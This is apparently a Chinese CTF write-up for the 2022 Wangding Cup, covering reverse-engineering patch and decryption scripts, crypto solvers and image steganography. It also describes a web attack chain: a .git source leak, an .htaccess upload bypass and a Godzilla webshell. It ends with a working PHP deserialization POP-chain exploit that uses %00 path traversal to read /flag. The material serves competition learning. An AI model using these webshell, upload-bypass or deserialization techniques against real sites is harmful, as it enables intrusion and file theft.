2022网鼎杯白虎组部分wp(新增re-junk)
2022-8-30 08:31:34 Author: Red0(查看原文) 阅读量:245 收藏

(本题为赛后解出,特此补上wp)

阶段一

使用IDA分析本题,发现存在花指令

其模式如图所示,通过xor + jz形式,看似为条件判断的jz,由于xor rax, rax必得0,故jz的跳转必定执行,而ida无法发现这一点。我们可以通过将jz指令改为直接跳转的jmp指令,从而避免ida误判。

阶段二

patch掉阶段一的花指令后,发现程序中存在大量int 3调试中断指令,又有位于0x140001320的调试中断事件处理函数,如下图所示:

该函数会根据int 3指令后一字节的值采取不同的处理方式,本质上是模拟一条指令的运行,如图中的case 4,等价于mov rcx, rsi。因此我们对所有int 3指令进行patch,转换为其等价的汇编指令。

阶段一和阶段二的patch脚本如下:

from keystone import *
ks = Ks(KS_ARCH_X86,KS_MODE_64)
def patch1(start, end): size = end - start start -= 0xc00 end -= 0xc00 tmp = bytearray(raw) for i in range(start, end): if tmp[i:i+5] == b'\x50\x48\x31\xc0\x74': tmp[i+4] = 0xeb jmp_size = tmp[i+5] tmp[i+6:i+6+jmp_size] = b'\x90'*jmp_size with open('junk-new1.exe','wb') as f: f.write(tmp)
def patch2(start, end): size = end - start start -= 0xc00 end -= 0xc00 tmp = bytearray(raw) for i in range(start, end): if i in (0x41e, 0x41f, 0xcd2): continue if 0x572 <= i < 0x580 or 0x71d <= i < 0x720 or 0xd4c <= i < 0xd50 or 0xe45 <= i < 0xe50 or 0xe9b <= i < 0xea0: continue if tmp[i] != 0xcc: continue choice = tmp[i+1] if choice == 1: ins_len = 4 delta = tmp[i+3] sign = tmp[i+2] if sign == 3: ins = f'sub rsp, {delta:#x}' elif sign == 2: ins = f'add rsp, {delta:#x}' else: print('Sign error!') assert 0 elif choice == 4: ins = 'mov rcx, rsi' ins_len = 3 elif choice == 5: ins = 'cmp rax, 0x2a' ins_len = 4 elif choice == 6: ins = 'mov rdx, rsi' ins_len = 3 elif choice == 8: ins = 'mov edx, 0x9E3779B9' ins_len = 5 elif choice == 9: ins = 'mov r11d, 32' ins_len = 6 elif choice == 10: ins = 'mov eax, esi' ins_len = 2 elif choice == 11: ins = 'mov ebx, eax' ins_len = 2 elif choice == 12: ins = 'xor ebx, esi' ins_len = 2 elif choice == 13: ins = 'add ebx, 45' ins_len = 3 elif choice == 14: ins = 'xor ebx, edi' ins_len = 2 elif choice == 15: ins = 'add ecx, ebx' ins_len = 2 elif choice == 16: ins = 'mov esi, ecx' ins_len = 2 elif choice == 17: ins = 'add esi, 67' ins_len = 3 elif choice == 18: ins = 'xor edi, esi' ins_len = 2 elif choice == 19: ins = 'add esi, 86' ins_len = 3 elif choice == 20: ins = 'xor esi, edi' ins_len = 2 elif choice == 29: ins = 'call 0x140001950; push rax' tmp[i:i+6] = ks.asm(ins, 0x1400010B8)[0] elif choice == 30: tmp[i:i+2] = ks.asm('jmp 0x140001106', 0x1400010F0)[0] tmp[0x506:0x506+7] = ks.asm('call 0x140001a50;jmp 0x1400010F2', 0x140001106)[0] else: print(f'{i+0x140000c00:#x}: unknown {choice}') assert 0
if choice not in (29, 30): tmp[i:i+ins_len] = ks.asm(ins)[0]
with open('junk-new2.exe','wb') as f: f.write(tmp)

with open('./junk.exe', 'rb') as f: raw = f.read()patch1(0x1000, 0x1aa0)
with open('./junk-new1.exe', 'rb') as f: raw = f.read()patch2(0x1000, 0x1aa0)

patch后得到程序核心逻辑如下:

其中enc1函数为TEA加密

enc2函数为逐字节循环左移5位

解密脚本如下:

from struct import pack, unpackfrom ctypes import *
ans = [ 0xF2, 0x7F, 0x09, 0x05, 0xD7, 0x77, 0x16, 0x91, 0x25, 0x01, 0x2E, 0xC5, 0x97, 0x26, 0x63, 0x82, 0x01, 0x40, 0x15, 0x2D, 0xFC, 0x53, 0xDB, 0xD3, 0xC4, 0xDB, 0x0A, 0x1F, 0x82, 0x1E, 0x99, 0x4E, 0xFE, 0x0C, 0x80, 0xB8, 0xA5, 0x61, 0x0E, 0x99, 0xDF, 0x39]
def dec1(data): for i in range(len(data)): data[i] = (data[i] >> 5) | ((data[i] << 3) & 0xff)
def dec2(data): for i in range(len(data)): data[i] ^= 0x66 data[i] -= 50 data[i] &= 0xff
def dec3(data): data = bytearray(data) k = [12, 45, 67, 86] for i in range(0, 40, 8): v0, v1 = unpack('II', data[i:i+8]) v0 = c_uint32(v0) v1 = c_uint32(v1) delta = 0x9E3779B9 total = c_uint32(delta*32) for j in range(32): v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + total.value) ^ ((v0.value >> 5) + k[3]) v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + total.value) ^ ((v1.value >> 5) + k[1]) total.value -= delta data[i:i+8] = pack('II', v0.value, v1.value) return data
if __name__ == '__main__': data = ans dec1(data) dec2(data) flag = dec3(data) print(flag)

0x2 simple math

脚本如下:

from Crypto.Util.number import *import hashlibfrom gmpy2 import *c1 =  85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687c2 =  104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144c3 =  94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330x =  78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765y =  100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029z =  104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452
e=2022tmp1 = pow(x-e,e)-c1tmp2 = pow(y-e,e)-c2m = gcd(tmp1,tmp2)print(m)tmp3 = (x-e) % mfor i in range(1000): m1 = tmp3 + i*m if c1 == pow(m+m1,e,m*m1): print (m1) break
tmp4 = (y-e) % mfor i in range(1000): m2=tmp4+i*m if c2 == pow(m+m2,e,m*m2): print(m2) breakflag = m + m1 + m2flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()print(flag)


0x3 easywork

根据https://blog.csdn.net/superprintf/article/details/108964563博客中的方法中求解a、b、n。

from math import gcdfrom gmpy2 import invert
x = [150532854791355748039117763516755705063,335246949167877025932432065299887980427,186623163520020374273300614035532913241,215621842477244010690624570814660992556,220694532805562822940506614120520015819,17868778653481346517880312348382129728,160572327041397126918110376968541265339]
t = [x[i+1] - x[i] for i in range(len(x)-1)]
def f(i): return t[i]*t[i+2]-t[i+1]*t[i+1]
p = gcd(f(0), f(1))print('p=',p)a = invert(x[1]-x[0], p)a = a * (x[2]-x[1]) % pprint('a=',a)b = (x[1] - x[0] * a) % pprint('b=',b)#p= 339088189917874808463944743121467561531#a= 259086495324961642923203668736965982268#b= 121870392737324465817476070178603827899

p= 339088189917874808463944743121467561531a= 259086495324961642923203668736965982268b= 121870392737324465817476070178603827899c = 114514e= int(2e8)m = 10**10000
e1 = (a*c)/(b-c)e2 = p/(b-1)
def f(n): t1 = RR(pow(b, n, m).lift()) t2 = RR(pow(c, n, m).lift()) return t1*(1+e1+e2)-e1*t2-e2
print(f(e))

最后将f(e)带入sol后算出md5,与加密结果异或得到flag

有.git路径,所以有git泄露,拖源码

代码审计发现上传路径

上传后,由时间戳重命名

发现有后缀过滤

但htaccess过滤有问题,只过滤了.htaccess后缀的,所以可以上传.htaccess文件,且同时需要跟木马文件同一时间上传

成功解析

哥斯拉连上,读取flag

爆破密码得到密码99114514

发现password,7EqufFnrSGk=

base64解密得,EC4AAE7C59EB4869

尝试解MD5得,nmy0612

得到flag文件

爆破编码得flag,flag{d2112923-78d6-4064-977c-b73297dc4491}

文件名字tHXcode (后面才知道是汉信码)

Hxd打开文件 发现有PNG的特征 把它补全

打开来是二维码

扫描二维码 转到油管视频 翻了一下好像没有意义 https://www.youtube.com/watch?v=l3N9fPIT4yw

用stegsolve发现通道RGB 0 1通道有大概噪点

把噪点提取出来

import cv2import cv2 as cvimport numpy as npimport os
pic = cv2.imread("D:\\tmp\\tHXcode.png")c1,c2,c3 = pic.shape
blank_image = np.zeros((348,348,3), np.uint8)
for i in range(c1): for j in range(c2): for k in range(c3): if pic[i,j,k] == 0 or pic[i,j,k] == 255: blank_image[i,j,k] = 0 else: blank_image[i, j, k] = 255cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

跑出来这样

长得像二维码少了定位标志 但又不太对 发现是汉信码

找个画格子网站https://www.pixilart.com/draw?ref=home-page 画出来

读取得到flag flag{ae0f3bce-814b-4928-9801-7a2f2ca88273}

伪加密,改09为00

得到图片

Stegsolve看一下,最后一个通道前面都是0和1

发现有108900个0或1

发现330*330=108900,尝试以1为黑,0为白,画图

import cv2import cv2 as cvimport numpy as np
f = open("123.txt",encoding = "utf-8")
blank_image = np.zeros((330,330,3), np.uint8)
a = f.read()
aa = 0
for i in a: x = aa//330 y = aa%330 if i == '0': blank_image[x, y, 1] = 0 else: blank_image[x, y, 0] = 255 blank_image[x, y, 1] = 255 blank_image[x, y, 2] = 255 aa += 1cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

像是拼接的二维码,拼接一下

扫码得flag

反序列化要触发readfile函数读取flag,要找能够执行函数调用Onemore类的readfile方法,在suhasuha类的__set方法中($this->action)()存在函数调用点,因此要想办法触发__set魔术方法。在abaaba类中_get方法里存在$this->DoNotGet->$name = "two"的set链,因此需要将$this->DoNotGet设为suhashuha类,这样触发__get方法后尝试给suhasuha中的name参数赋值,触发suhasuha类中的__set方法。

接下来的问题是,如何触发abaaba类的__get魔术方法,在abaaba类中本身存在的__toString魔术方法中存在get操作,可以触发__get魔术方法,接着考虑如何触发abaaba类的__toString魔术方法,往下看在One类中的__destruct方法中可以将$count参数当字符串使用,此处将abaaba类实例传入$count参数即可触发__toString魔术方法,综上,正向调用链为首先初始化一个abaaba类将suhasuha类赋给DoNotGet参数,再利用One->__toString->abaaba->__toString->abaaba->__get->suhasuha->__set->Onemore->readfile。

safe过滤函数过滤了/../../和其转义变形,用%00绕过即可。

<?phpclass abaaba{    protected $DoNotGet;
public function __construct($s){ echo '1'; $this->DoNotGet = $s; }
public function __get($name){ echo '2'; $this->DoNotGet->$name = "two"; return $this->DoNotGet->$name; }
public function __toString(){ echo '3'; return $this->Giveme; }}
class Onemore{
public $file;

public function readfile($f){ echo '4'; $this->file = isset($f) ? $f : 'image'.$this->file; echo file_get_contents(safe($this->file)); }
public function __invoke(){ echo '5'; return $this->filename->Giveme; }}
class suhasuha{ public $action;
public function __set($name, $value){ echo '6'; $this->Giveme = ($this->action)(); return $this->Giveme; }}
class One{ public $count;
public function __construct(){ echo '7'; $this->count = "one"; }
public function __destruct(){ echo '8'; echo "try ".$this->count." again"; }
}
function safe($path){ $path = preg_replace("/.*\/\/.*/", "", $path); $path = preg_replace("/\..\..*/", "!", $path); $path = htmlentities($path); return strip_tags($path);}
$a = new One();$b = new suhasuha();$c = new Onemore();$d = new abaaba($b);
$a->count = $d;$b->action = [$c,"readfile"];$c->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");echo urlencode(serialize($a));
?>


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&mid=2247484265&idx=1&sn=dae899414ee7b95778f53db1ad128fa4&chksm=cecc6be8f9bbe2fe77d4a4fb5055d3d5aa92d832dc71d9958badd4177e113babd261f6913217#rd
如有侵权请联系:admin#unsafe.sh